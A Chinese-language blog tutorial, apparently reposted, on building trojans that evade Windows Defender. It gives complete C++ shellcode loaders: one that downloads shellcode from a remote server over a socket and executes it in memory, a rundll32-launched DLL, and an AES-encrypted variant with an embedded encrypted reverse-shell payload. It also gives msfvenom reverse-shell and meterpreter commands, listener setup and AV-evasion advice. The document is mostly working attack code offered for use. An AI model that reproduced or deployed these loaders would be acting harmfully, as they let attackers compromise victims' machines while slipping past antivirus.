APT之木马动态免杀绕过Windows Defender

这篇具有很好参考价值的文章主要介绍了APT之木马动态免杀绕过Windows Defender。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

APT之木马动态免杀绕过Windows Defender,渗透,APT,windows,apt,免杀,红队,渗透测试

环境安装

c++编译环境

apt-get install g++-mingw-w64-x86-64

简单的演示

一串简单的将shellcode加载入windows内存执行的c++代码

#include <windows.h>
#include <stdio.h>

int main() {

	unsigned char payload[] = "\x00";


	LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	if (!alloc_mem) {
		printf("Failed to Allocate memory (%u)\n", GetLastError());
		return -1;
	}
	
	MoveMemory(alloc_mem, payload, sizeof(payload));

	DWORD oldProtect;

	if (!VirtualProtect(alloc_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect)) {
		printf("Failed to change memory protection (%u)\n", GetLastError());
		return -2;
	}


	HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
	if (!tHandle) {
		printf("Failed to Create the thread (%u)\n", GetLastError());
		return -3;
	}

	printf("\n\nalloc_mem : %p\n", alloc_mem);
	WaitForSingleObject(tHandle, INFINITE);

	return 0;
}

解释:

payload变量里存储的就是我们的shellcode
代码:

LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

作用:

这行代码是使用Windows操作系统提供的函数在进程的虚拟内存空间中分配内存块

LPVOID alloc_mem: 这是一个指向void类型的指针,用于存储分配的内存块的起始地址。
LPVOID是Windows API中表示内存地址的通用类型

VirtualAlloc: 这是Windows操作系统提供的函数,用于在进程的虚拟内存空间中分配内存。它接受四个参数:

NULL: 这表示希望操作系统自动选择一个合适的地址来分配内存块。
sizeof(payload): 这是要分配的内存块的大小,sizeof(payload)表示要分配的大小与名为payload的变量或数据结构的大小相等。
MEM_COMMIT | MEM_RESERVE: 这是内存分配的标志位,它们告诉操作系统将分配的内存块同时提交(即立即分配物理内存)和保留(即为该内存块保留虚拟地址空间)。
PAGE_READWRITE: 这是指定内存块的访问权限,PAGE_READWRITE表示内存块可以被读写

代码:

if (!alloc_mem) {
		printf("Failed to Allocate memory (%u)\n", GetLastError());
		return -1;
	}

作用:

if (!alloc_mem): 这是一个条件语句,它判断alloc_mem指针是否为NULL,即是否分配内存失败。
在C语言中,如果指针为NULL,表示内存分配失败或者指向的内存块不存在

printf("Failed to Allocate memory (%u)\n", GetLastError());: 如果内存分配失败,该语句将打印一条错误消息。
GetLastError()是一个Windows API函数,用于获取最近一次系统调用的错误代码

return -1;: 如果内存分配失败,代码将返回-1

代码:

MoveMemory(alloc_mem, payload, sizeof(payload));

解释:

MoveMemory 函数,它的作用是将指定源内存块的内容复制到目标内存块

MoveMemory(alloc_mem, payload, sizeof(payload));: 这是一个函数调用
它将源内存块 payload 的内容复制到目标内存块 alloc_mem 中,复制的字节数为 sizeof(payload)。

alloc_mem: 这是目标内存块的起始地址,是之前通过 VirtualAlloc 分配的内存块的地址。
payload: 这是源内存块的起始地址,通常表示一段数据或者缓冲区的地址。
sizeof(payload): 这表示要复制的字节数,即从源内存块复制多少字节的数据

代码:

DWORD oldProtect;

作用:

DWORD oldProtect; 是一个变量声明,它用于存储先前的内存保护标志位(Protection Flags)。
在Windows操作系统中,内存保护标志位用于控制对内存页的访问权限

代码:

if (!VirtualProtect(alloc_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect)) {
		printf("Failed to change memory protection (%u)\n", GetLastError());
		return -2;
	}

作用:

VirtualProtect(alloc_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect): 
这是一个函数调用,它使用 VirtualProtect 函数来修改内存保护标志位,从而更改内存块的访问权限。

alloc_mem: 这是之前通过 VirtualAlloc 分配的内存块的起始地址。
sizeof(payload): 这表示要更改保护标志位的内存块的大小,通常等于 payload 数据的大小。
PAGE_EXECUTE_READ: 这是新的内存保护标志位,表示内存块可以被执行和读取。这是一种常见的内存保护配置,用于存储可执行代码。
&oldProtect: 这是一个指向 DWORD 类型的指针,用于存储先前的内存保护标志位。
if (!VirtualProtect(...)) { ... }: 这是一个条件语句,它检查 VirtualProtect 函数是否成功执行。如果函数执行失败,即无法更改内存保护标志位,那么条件为真。

printf("Failed to change memory protection (%u)\n", GetLastError());: 如果内存保护更改失败,将输出错误消息,其中包含通过 GetLastError() 获取的错误代码。

return -2;: 在内存保护更改失败的情况下,代码将返回一个表示错误的返回码 -2

代码:

HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
	if (!tHandle) {
		printf("Failed to Create the thread (%u)\n", GetLastError());
		return -3;
	}

作用:

HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);: 
这是一个函数调用,用于创建一个新的线程。

NULL: 这是一个表示线程的安全性的参数,NULL 表示线程将继承父进程的安全性设置。
0: 这是初始线程栈大小(以字节为单位),0 表示使用默认的线程栈大小。

(LPTHREAD_START_ROUTINE)alloc_mem: 这是一个指向函数的指针,用于指定新线程将要执行的函数。
在这里,它使用了先前分配的内存块的起始地址 alloc_mem,意味着新线程将从这个内存地址开始执行代码。

NULL: 这是传递给线程函数的参数,这里设置为 NULL。
0: 这是控制线程的创建标志,0 表示创建线程后立即启动。

NULL: 这是线程的标识符,NULL 表示不获取线程标识符。
if (!tHandle) { ... }: 这是一个条件语句,它检查 CreateThread 函数是否成功创建新的线程。如果函数执行失败,即无法创建线程,那么条件为真。

printf("Failed to Create the thread (%u)\n", GetLastError());: 如果线程创建失败,将输出错误消息,其中包含通过 GetLastError() 获取的错误代码。

return -3;: 在线程创建失败的情况下,代码将返回一个表示错误的返回码 -3

代码:

printf("\n\nalloc_mem : %p\n", alloc_mem);
WaitForSingleObject(tHandle, INFINITE);

作用:

printf("\n\nalloc_mem : %p\n", alloc_mem);: 这是一个 printf 函数调用,它用于在控制台输出信息。具体来说,它会输出分配的内存块的地址。

\n\n: 这是换行符,用于在输出之前在控制台输出两个空行,以提高可读性。
alloc_mem: 这是之前通过 VirtualAlloc 分配的内存块的起始地址。
%p: 这是 printf 的格式化占位符,用于输出指针的值。
WaitForSingleObject(tHandle, INFINITE);: 这是一个函数调用,它用于等待一个线程的执行完成。

tHandle: 这是先前创建的线程的句柄,表示要等待的线程。
INFINITE: 这是一个常量,表示等待时间无限。这意味着程序将一直等待,直到指定的线程执行完毕

这就是一个简单的将shellcode加载进windows内存里执行的程序代码

编译

如果要编译,可以使用这个命令

x86_64-w64-mingw32-g++ --static muma.cpp -o muma.exe

这个程序没有经过免杀,所以很容易被杀

分离免杀

以下程序的免杀方式是用socket函数远程获取shellcode执行,不是将shellcode写入到源文件里,这是一种免杀方式
代码:

#include <windows.h>
#include <stdio.h>
#include <winsock2.h>
#include <ws2tcpip.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "Mswsock.lib")
#pragma comment (lib, "AdvApi32.lib")

#define DEFAULT_BUFLEN 4096

void power(char* host, char* port, char* resource) {

    DWORD oldp = 0;
    BOOL returnValue;

    size_t origsize = strlen(host) + 1;
    const size_t newsize = 100;
    size_t convertedChars = 0;
    wchar_t Whost[newsize];
    mbstowcs_s(&convertedChars, Whost, origsize, host, _TRUNCATE);


    WSADATA wsaData;
    SOCKET ConnectSocket = INVALID_SOCKET;
    struct addrinfo* result = NULL,
        * ptr = NULL,
        hints;
    char sendbuf[MAX_PATH] = "";
    lstrcatA(sendbuf, "GET /");
    lstrcatA(sendbuf, resource);

    char recvbuf[DEFAULT_BUFLEN];
    memset(recvbuf, 0, DEFAULT_BUFLEN);
    int iResult;
    int recvbuflen = DEFAULT_BUFLEN;

    
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        return ;
    }

    ZeroMemory(&hints, sizeof(hints));
    hints.ai_family = PF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;

    iResult = getaddrinfo(host, port, &hints, &result);
    if (iResult != 0) {
        WSACleanup();
        return ;
    }


    for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

        ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
            ptr->ai_protocol);
        if (ConnectSocket == INVALID_SOCKET) {
            WSACleanup();
            return ;
        }


        iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
        if (iResult == SOCKET_ERROR) {
            closesocket(ConnectSocket);
            ConnectSocket = INVALID_SOCKET;
            continue;
        }
        break;
    }

    freeaddrinfo(result);

    if (ConnectSocket == INVALID_SOCKET) {
        printf("Unable to connect to server!\n");
        WSACleanup();
        return ;
    }

    iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
    if (iResult == SOCKET_ERROR) {
        closesocket(ConnectSocket);
        WSACleanup();
        return ;
    }

    
    iResult = shutdown(ConnectSocket, SD_SEND);
    if (iResult == SOCKET_ERROR) {
        closesocket(ConnectSocket);
        WSACleanup();
        return ;
    }
    

    do {

        iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
        if (iResult > 0)
            printf("[+] Received %d Bytes\n", iResult);
        else if (iResult == 0)
            printf("[+] Connection closed\n");
        else
            printf("recv failed with error: %d\n", WSAGetLastError());


        LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(recvbuf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	if (!alloc_mem) {
		printf("Failed to Allocate memory (%u)\n", GetLastError());
		return -1;
	}
	
	MoveMemory(alloc_mem, recvbuf, sizeof(recvbuf));

	DWORD oldProtect;

	if (!VirtualProtect(alloc_mem, sizeof(recvbuf), PAGE_EXECUTE_READ, &oldProtect)) {
		printf("Fai1led to change memory protection (%u)\n", GetLastError());
		return -2;
	}


	HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
	if (!tHandle) {
		printf("Failed to Create the thread (%u)\n", GetLastError());
		return -3;
	}

	printf("\n\nalloc_mem : %p\n", alloc_mem);
	WaitForSingleObject(tHandle, INFINITE);

	return 0;

    } while (iResult > 0);

    closesocket(ConnectSocket);
    WSACleanup();
}

int main(int argc, char** argv) {

    if (argc != 4) {
        printf("[+] Usage: %s <RemoteIP> <RemotePort> <Resource>\n", argv[0]);
        return 1;
    }

    power(argv[1], argv[2], argv[3]);

    return 0;

}

简而言之,这些代码的作用就是使用socket函数远程获取shellcode文件,然后加载到内存里
编译文件:

x86_64-w64-mingw32-g++ --static -o power.exe muma.cpp -fpermissive -lws2_32

然后把程序放到靶机上

 scp kali@192.168.0.110:/home/kali/bypass/power.exe .

image.png
回到kali,启用http服务

python -m http.server

image.png
生成一个shellcode

msfvenom -p  windows/x64/shell_reverse_tcp lhost=192.168.0.110 lport=1234 -f raw > beacon.bin

image.png
然后监听设置的端口

nc -nvlp 1234

使用方法:

power.exe 服务器ip 端口 要加载的shellcode文件名

image.png
效果:
image.png
能动态和静态过最新的windows防火墙
文件被查杀要随便改一下源代码然后再编译一下就好了
image.png

https证书

如果要使用msfconsole,需要用到windows/x64/meterpreter/reverse_https模块,首先我们需要生成一个https证书

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
    -subj "/C=US/ST=Texas/L=Austin/O=Development/CN=www.example.com" \
    -keyout www.example.com.key \
    -out www.example.com.crt && \
cat www.example.com.key  www.example.com.crt > www.example.com.pem && \
rm -f www.example.com.key  www.example.com.crt

image.png
然后生成一个木马

msfvenom -p  windows/x64/meterpreter/reverse_https lhost=192.168.0.110 lport=1234 HandlerSSLCert=/home/kali/bypass/www.example.com.pem StagerVerifySSLCert=true -f raw > beacon.bin

image.png
打开msf

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.0.110
set lport 1234
set HandlerSSLCert /home/kali/bypass/www.example.com.pem
set StagerverifySSLCert true
run

回到靶机,获取程序
image.png
然后得到shell
image.png
能动态和静态过最新的windows防火墙

dll注入

一个常见的弹窗dll的c++代码:

#include <windows.h>

#pragma comment (lib, "user32.lib")

BOOL APIENTRY DLLMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){

    switch (ul_reason_for_call){
    case DLL_PROCESS_ATTACH:
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}

extern "C"{
__declspec(dllexport) BOOL WINAPI HelloWorld(void){

    MessageBox(NULL, "Welcome", "Security", MB_OK);
    return TRUE;
    }
}

编译

x86_64-w64-mingw32-g++ --shared muma.cpp -o muma.dll

image.png
把dll转移到靶机上

scp kali@192.168.0.110:/home/kali/bypass/muma.dll .

image.png
执行命令运行dll文件

rundll32.exe .\muma.dll, HelloWorld

HelloWorld是执行这里的代码
image.png
image.png
这就是一个常见的弹窗dll
然后可以使用上面的那个将shellcode加载入windows内存里执行的代码来配合

unsigned char payload[] = "\x00";


    LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!alloc_mem) {
        printf("Failed to Allocate memory (%u)\n", GetLastError());
        return -1;
    }
    
    MoveMemory(alloc_mem, payload, sizeof(payload));

    DWORD oldProtect;

    if (!VirtualProtect(alloc_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect)) {
        printf("Failed to change memory protection (%u)\n", GetLastError());
        return -2;
    }


    HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
    if (!tHandle) {
        printf("Failed to Create the thread (%u)\n", GetLastError());
        return -3;
    }

    printf("\n\nalloc_mem : %p\n", alloc_mem);
    WaitForSingleObject(tHandle, INFINITE);

    return 0;


    return TRUE;
    }
}

完整版:

#include <windows.h>
#include <stdio.h>

#pragma comment (lib, "user32.lib")

BOOL APIENTRY DLLMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){

    switch (ul_reason_for_call){
    case DLL_PROCESS_ATTACH:
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}

extern "C"{
__declspec(dllexport) BOOL WINAPI HelloWorld(void){

    MessageBox(NULL, "Welcome", "Security", MB_OK);

    unsigned char payload[] = "\x00";


    LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!alloc_mem) {
        printf("Failed to Allocate memory (%u)\n", GetLastError());
        return -1;
    }
    
    MoveMemory(alloc_mem, payload, sizeof(payload));

    DWORD oldProtect;

    if (!VirtualProtect(alloc_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect)) {
        printf("Failed to change memory protection (%u)\n", GetLastError());
        return -2;
    }


    HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
    if (!tHandle) {
        printf("Failed to Create the thread (%u)\n", GetLastError());
        return -3;
    }

    printf("\n\nalloc_mem : %p\n", alloc_mem);
    WaitForSingleObject(tHandle, INFINITE);

    return 0;


    return TRUE;
    }
}

这里没写入shellcode,因为要对shellcode进行混淆

AES混淆

AES加密脚本:

#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")

void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) {
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

    if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        printf("Failed in CryptAcquireContextW (%u)\n", GetLastError());
        return;
    }
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
        printf("Failed in CryptCreateHash (%u)\n", GetLastError());
        return;
    }
    if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {
        printf("Failed in CryptHashData (%u)\n", GetLastError());
        return;
    }
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
        printf("Failed in CryptDeriveKey (%u)\n", GetLastError());
        return;
    }

    if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen)) {
        printf("Failed in CryptDecrypt (%u)\n", GetLastError());
        return;
    }

    CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);

}

完整版:

#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#pragma comment (lib, "crypt32.lib")

#pragma comment (lib, "user32.lib")

void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) {
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

    if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        printf("Failed in CryptAcquireContextW (%u)\n", GetLastError());
        return;
    }
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
        printf("Failed in CryptCreateHash (%u)\n", GetLastError());
        return;
    }
    if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {
        printf("Failed in CryptHashData (%u)\n", GetLastError());
        return;
    }
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
        printf("Failed in CryptDeriveKey (%u)\n", GetLastError());
        return;
    }

    if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen)) {
        printf("Failed in CryptDecrypt (%u)\n", GetLastError());
        return;
    }

    CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);

}

BOOL APIENTRY DLLMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){

    switch (ul_reason_for_call){
    case DLL_PROCESS_ATTACH:
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}

extern "C"{
__declspec(dllexport) BOOL WINAPI HelloWorld(viod){

    MessageBox(NULL, "Welcome", "Security", MB_OK);
    unsigned char AESkey[] = {};
    unsigned char payload[] = {};

    DWORD payload_length = sizeof(payload);

    LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!alloc_mem) {
        printf("Failed to Allocate memory (%u)\n", GetLastError());
        return -1;
    }
    
    DecryptAES((char*)payload, payload_length, AESkey, sizeof(AESkey));
    MoveMemory(alloc_mem, payload, sizeof(payload));

    DWORD oldProtect;

    if (!VirtualProtect(alloc_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect)) {
        printf("Failed to change memory protection (%u)\n", GetLastError());
        return -2;
    }


    HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
    if (!tHandle) {
        printf("Failed to Create the thread (%u)\n", GetLastError());
        return -3;
    }

    printf("\n\nalloc_mem : %p\n", alloc_mem);
    WaitForSingleObject(tHandle, INFINITE);

    return 0;


    return TRUE;
    }
}

然后还需要写一个python脚本来打印出aes加密后的payload和aes解密的密钥

import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from os import urandom
import hashlib

def AESencrypt(plaintext, key):
    k = hashlib.sha256(KEY).digest()
    iv = 16 * b'\x00'
    plaintext = pad(plaintext, AES.block_size)
    cipher = AES.new(k, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext,key

  
def printResult(key, ciphertext):
    print('char AESkey[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in KEY) + ' };')
    print('unsigned char payload[] = { 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };')
    
try:
    file = open(sys.argv[1], "rb")
    content = file.read()
except:
    print("Usage: .\AES_cryptor.py PAYLOAD_FILE")
    sys.exit()


KEY = urandom(16)
ciphertext, key = AESencrypt(content, KEY)

printResult(KEY,ciphertext)

使用msf生成一个payload

msfvenom -p  windows/x64/shell_reverse_tcp lhost=192.168.0.110 lport=1234 -f raw > beacon.bin

然后用aes脚本加密payload

pip3 install pycryptodome
python3 aes.py beacon.bin

image.png
将shellcode放入脚本里
完整版:

#include <windows.h>
#include <wincrypt.h>
#include <stdio.h>
#pragma comment (lib, "crypt32.lib")

#pragma comment (lib, "user32.lib")

void DecryptAES(char* shellcode, DWORD shellcodeLen, char* key, DWORD keyLen) {
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

    if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
        printf("Failed in CryptAcquireContextW (%u)\n", GetLastError());
        return;
    }
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
        printf("Failed in CryptCreateHash (%u)\n", GetLastError());
        return;
    }
    if (!CryptHashData(hHash, (BYTE*)key, keyLen, 0)) {
        printf("Failed in CryptHashData (%u)\n", GetLastError());
        return;
    }
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
        printf("Failed in CryptDeriveKey (%u)\n", GetLastError());
        return;
    }

    if (!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)shellcode, &shellcodeLen)) {
        printf("Failed in CryptDecrypt (%u)\n", GetLastError());
        return;
    }

    CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);

}

BOOL APIENTRY DLLMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){

    switch (ul_reason_for_call){
    case DLL_PROCESS_ATTACH:
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}

extern "C"{
__declspec(dllexport) BOOL WINAPI HelloWorld(void){

    MessageBox(NULL, "Welcome", "Security", MB_OK);
    
    unsigned char AESkey[] = { 0x30, 0xe2, 0xd, 0xa2, 0xff, 0x83, 0xe7, 0xef, 0x48, 0xf5, 0x17, 0xe2, 0x51, 0x9c, 0x53, 0xde };
    unsigned char payload[] = { 0xd2, 0xf1, 0x78, 0x8d, 0x3f, 0x37, 0xf6, 0x7b, 0x15, 0x8c, 0xe8, 0x2, 0x2b, 0xd6, 0x1d, 0x55, 0x7d, 0xc1, 0xd5, 0x9, 0xd5, 0xc7, 0x41, 0xd6, 0x4e, 0x42, 0x32, 0x6e, 0x14, 0x93, 0x6, 0xa3, 0xde, 0x2d, 0xb1, 0xe0, 0x0, 0x88, 0xe7, 0x30, 0xab, 0xf9, 0xa5, 0xf9, 0x64, 0xc8, 0x61, 0x8d, 0xb4, 0x5a, 0x63, 0xc, 0x60, 0x97, 0x58, 0xfd, 0xbc, 0x42, 0x85, 0x15, 0x67, 0xa5, 0xbb, 0x28, 0xe2, 0x35, 0xe2, 0xf5, 0x31, 0xff, 0x31, 0xac, 0x1, 0xea, 0x3b, 0xea, 0x0, 0x81, 0x75, 0xa7, 0x21, 0x5, 0x5e, 0x99, 0x7f, 0xe8, 0x1f, 0x19, 0x83, 0x60, 0x62, 0x64, 0x59, 0xf2, 0x68, 0x4b, 0x56, 0x41, 0x48, 0x19, 0x5e, 0x54, 0x7c, 0x75, 0x8e, 0xf7, 0x9b, 0x96, 0x1b, 0xad, 0x4a, 0xca, 0xfc, 0x8c, 0x19, 0x3f, 0x41, 0x76, 0x14, 0x9, 0x92, 0x6b, 0x63, 0x69, 0xad, 0xfe, 0xb4, 0xdd, 0x41, 0xd4, 0xa9, 0x42, 0x2f, 0xdb, 0x30, 0xf6, 0x70, 0xa5, 0x0, 0xc1, 0x76, 0xf8, 0x54, 0x77, 0xaf, 0x9b, 0xf, 0x2e, 0xf6, 0x8d, 0xa, 0x45, 0x4e, 0xb9, 0x4f, 0xc6, 0x62, 0xcb, 0xc9, 0x1, 0x51, 0x59, 0xdd, 0xa7, 0x4f, 0x44, 0xbe, 0x2e, 0xd6, 0xac, 0x5f, 0xe0, 0x52, 0xc5, 0x88, 0x55, 0x65, 0xa9, 0x65, 0x79, 0xc3, 0x4a, 0x4f, 0x33, 0xca, 0xaf, 0xe1, 0xa6, 0x53, 0xf4, 0xe7, 0x83, 0xe, 0x20, 0xab, 0x96, 0xb2, 0xd3, 0x9a, 0x95, 0x29, 0x80, 0x4e, 0x7e, 0x5c, 0x5d, 0xf5, 0x2f, 0x5e, 0xf7, 0x4d, 0x83, 0xb2, 0xe6, 0x5f, 0xa8, 0x80, 0xae, 0x54, 0x37, 0x3a, 0xf8, 0xb1, 0x2, 0x87, 0xfc, 0x80, 0xa2, 0x5b, 0xba, 0x81, 0x52, 0xaf, 0xd1, 0xb, 0xd0, 0x25, 0x1a, 0x30, 0x6, 0x89, 0x77, 0x73, 0xf5, 0xeb, 0x4b, 0x14, 0x51, 0x81, 0xd7, 0x37, 0xfd, 0xde, 0x1c, 0x60, 0x52, 0xae, 0xb0, 0xc3, 0x7f, 0x4f, 0xdf, 0x43, 0x57, 0x58, 0x6a, 0xb5, 0xbd, 0x32, 0x65, 0xcd, 0x72, 0x3f, 0xb7, 0x65, 0x54, 0x9c, 0xe9, 0x25, 0x47, 0x38, 0x79, 0x49, 0xf1, 0x27, 0xcc, 0x3, 0x88, 0xaa, 0x21, 0xfe, 0xa4, 0x6, 0xee, 0x3a, 0xdf, 0xc0, 0xb3, 0x61, 0x8a, 0xed, 0xd6, 0xda, 0x3d, 0x58, 0x3b, 0xd8, 0xe6, 0x70, 0x18, 0xe3, 0x5a, 0x23, 0x42, 0xfa, 0x22, 0x9f, 0xa5, 0x86, 0x23, 0x71, 0xd, 0x56, 0x9e, 0x4, 0xeb, 0x9d, 0x2, 0x83, 0x82, 0x1c, 0x3, 0x85, 0xc4, 0x72, 0xf8, 0x48, 0xc3, 0x8c, 0x75, 0x75, 0x75, 0xd0, 0x55, 0x95, 0xfb, 0xf0, 0x73, 0xc6, 0xf3, 0xd6, 0xd2, 0xbb, 0x24, 0x7b, 0xe9, 0x33, 0xfd, 0x1c, 0x6c, 0x6b, 0x54, 0x2f, 0x88, 0x25, 0xc2, 0x77, 0x8, 0x5c, 0xab, 0x4, 0xa, 0xf4, 0x10, 0x8, 0xa6, 0x71, 0xe5, 0xb9, 0x8d, 0x83, 0x88, 0xc, 0xb2, 0xf9, 0xd0, 0x57, 0xf0, 0xd5, 0xc1, 0x7e, 0xec, 0xc6, 0x87, 0x8e, 0x7f, 0x68, 0xf3, 0xd3, 0xc8, 0x92, 0xf8, 0x67, 0xa2, 0x42, 0x24, 0x7e, 0xbf, 0xc0, 0x4f, 0x5c, 0xe5, 0x31, 0xa4, 0x4f, 0x44, 0xac, 0x2e, 0xb0, 0xcb, 0xb9, 0x8b, 0x4b, 0xf6, 0x29, 0x89, 0x2a, 0x98, 0x23, 0x9, 0xd6, 0xac, 0x37, 0xca, 0xeb, 0xf4, 0x3d, 0x69, 0x5b, 0xb6, 0xf9, 0x11, 0x7f, 0x52, 0x3e, 0x50, 0x41, 0x65, 0x91, 0x55, 0xab, 0x64, 0x11, 0xd7, 0xcc, 0xa9, 0x57, 0x8e, 0x6d, 0xd3, 0x7f, 0xdf, 0xd4, 0xe2 };

    DWORD payload_length = sizeof(payload);

    LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(payload), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    if (!alloc_mem) {
        printf("Failed to Allocate memory (%u)\n", GetLastError());
        return -1;
    }
    
    DecryptAES((char*)payload, payload_length, AESkey, sizeof(AESkey));
    MoveMemory(alloc_mem, payload, sizeof(payload));

    DWORD oldProtect;

    if (!VirtualProtect(alloc_mem, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect)) {
        printf("Failed to change memory protection (%u)\n", GetLastError());
        return -2;
    }


    HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL);
    if (!tHandle) {
        printf("Failed to Create the thread (%u)\n", GetLastError());
        return -3;
    }

    printf("\n\nalloc_mem : %p\n", alloc_mem);
    WaitForSingleObject(tHandle, INFINITE);

    return 0;


    return TRUE;
    }
}

编译:

x86_64-w64-mingw32-g++ --shared muma.cpp -o muma.dll

image.png
然后使用nc监听设置的端口,然后将dll文件传到靶机上
然后执行

rundll32.exe .\power.dll, HelloWorld

image.png
image.png
能静态和动态过windows最新的防火墙
image.png
image.png
如果要使用msf,操作和分离免杀的那个https差不多
举一反三举一反三举一反三文章来源地址https://www.toymoban.com/news/detail-652315.html

到了这里,关于APT之木马动态免杀绕过Windows Defender的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • PowerShell木马免杀利器: Invoke-Obfuscation(过火绒)

    Invoke-Obfuscation工具下载地址: https://github.com/danielbohannon/Invoke-Obfuscation Invoke-Obfuscation是一款PowerShell混淆工具,可以将PowerShell脚本加密,使得它的检测和分析变得更加困难。该工具包含多种加密方法,可以单独使用也可以结合使用,以提高混淆的效果。Invoke-Obfuscation还有多个选

    2023年04月10日
    浏览(39)
